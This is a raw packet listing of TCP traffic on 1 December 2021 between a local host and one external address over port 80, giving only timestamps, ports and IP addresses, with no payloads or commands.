Dec 1, 2021 09:14:20.330476046 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.330523968 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.330595016 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.341111898 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.341177940 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.341228962 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.341279984 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.341331959 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.341353893 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.341365099 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.341379881 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.341434956 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.341456890 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.341494083 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.341545105 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.341599941 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.341656923 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.341695070 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.341717005 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.341767073 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.341773987 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.341783047 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.341845036 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.341906071 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.341911077 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.341967106 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.342000008 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.342025995 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.342088938 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.342144966 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.342154980 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.342209101 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.342230082 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.342272043 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.342329025 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.342385054 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.342398882 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.342437983 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.342468023 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.342489958 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.342551947 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.342600107 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.342649937 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.342725039 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.342771053 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.342777014 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.342804909 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.342828035 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.342880011 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.342889071 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.342927933 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.342978001 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.342984915 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.343028069 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.343077898 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.343086004 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.343127966 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.343178034 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.343228102 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.343240976 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.343278885 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.343327999 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.343339920 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.343379021 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.343381882 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.343427896 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.343478918 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.343488932 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.343533039 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.343580961 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.343595982 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.343632936 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.343683958 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.343733072 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.343741894 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.343784094 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.343832970 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.343841076 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.343883991 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.343887091 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.343936920 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.343985081 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.343997955 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.344036102 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.344085932 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.344096899 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.344136000 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.344187975 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.344191074 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.344238043 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.344289064 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.344297886 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.344340086 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.344388962 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.344396114 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.344440937 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.344444990 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.344491959 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.344527960 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.344541073 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.344577074 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.344594002 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.344621897 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.344645023 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.344665051 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.344700098 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.344719887 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.344758987 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.344810963 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.344824076 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.344893932 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.344959974 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.344975948 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.345011950 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.345060110 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.345110893 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.345129013 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.345161915 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.345211983 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.345226049 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.345262051 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.345274925 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.345324039 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.345355988 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.345400095 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.345444918 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.345462084 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.345499992 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.345555067 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.345563889 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.345596075 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.345627069 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.345633030 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.345643044 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.345673084 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.345700979 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.345711946 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.345740080 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.345753908 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.345781088 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.345793962 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.345830917 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.345869064 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.345885992 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.345907927 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.345922947 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.345947027 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.345973015 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.345985889 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.346012115 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.346024990 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.346065044 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.346103907 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.346134901 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.346142054 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.346143007 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.346169949 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.346184015 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.346210957 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.346223116 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.346261024 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.346285105 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.346297979 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.346332073 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.346337080 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.346354961 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.346376896 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.346391916 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.346419096 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.346437931 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.346472025 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.373769999 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.373847008 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.373936892 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.387295008 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.387339115 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.387367010 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.387381077 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.387393951 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.387450933 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.387706041 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.387734890 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.387763977 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.404055119 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.404115915 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.404135942 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.404156923 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.404196978 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.404234886 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.404254913 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.404274940 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.404288054 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.404315948 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.404356956 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.404371977 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.404395103 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.404433012 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.404472113 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.404476881 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.404508114 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.404546976 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.404571056 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.404584885 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.404624939 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.404632092 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.404664993 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.404671907 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.404702902 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.404745102 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.404752016 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.404784918 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.404822111 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.404836893 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.404890060 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.404930115 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.404966116 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.404982090 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.405006886 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.405018091 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.405046940 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.405076027 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.405100107 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.405113935 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.405129910 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.405153990 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.405163050 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.405190945 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.405205965 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.405236006 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.405879974 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.405921936 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.405958891 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.405993938 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.405997992 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.406024933 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.406039953 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.406060934 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.406080008 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.406097889 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.406121016 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.406138897 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.406161070 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.406178951 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.406198025 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.406217098 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.406239033 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.406259060 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.406279087 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.406296015 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.406318903 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.406337023 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.406361103 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.406378984 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.406398058 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.406416893 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.406436920 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.406455040 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.406476974 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.406495094 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.406512976 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.406531096 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.406553030 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.406570911 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.406590939 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.406610012 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.406630993 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.406651974 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.406672001 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.406691074 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.406711102 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.406728983 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.406752110 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.406776905 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.406793118 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.406830072 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.406847954 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.406868935 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.406871080 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.406904936 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.406907082 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.406945944 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.406985044 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.407002926 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.407022953 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.407040119 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.407062054 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.407080889 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.407100916 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.407120943 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.407138109 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.407156944 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.407176971 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.407195091 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.407216072 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.407234907 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.407255888 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.407274961 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.407296896 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.407315016 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.407335043 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.407351971 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.407373905 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.407392025 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.407413006 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.407432079 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.407450914 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.407469034 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.407491922 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.407510042 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.407632113 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.465903044 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.465960979 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.465998888 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.466020107 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.466037989 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.466056108 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.466078997 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.466099977 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.466119051 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.466137886 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.466156960 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.466176033 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.466197014 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.466217041 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.466237068 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.466257095 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.466274023 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.466294050 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.466314077 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.466332912 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.466353893 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.466372967 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.466393948 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.466418028 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.466434956 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.466455936 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.466473103 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.466494083 CET	49797	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:20.466516018 CET	80	49797	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:20.466536999 CET	49797	80	192.168.2.4	95.213.165.249
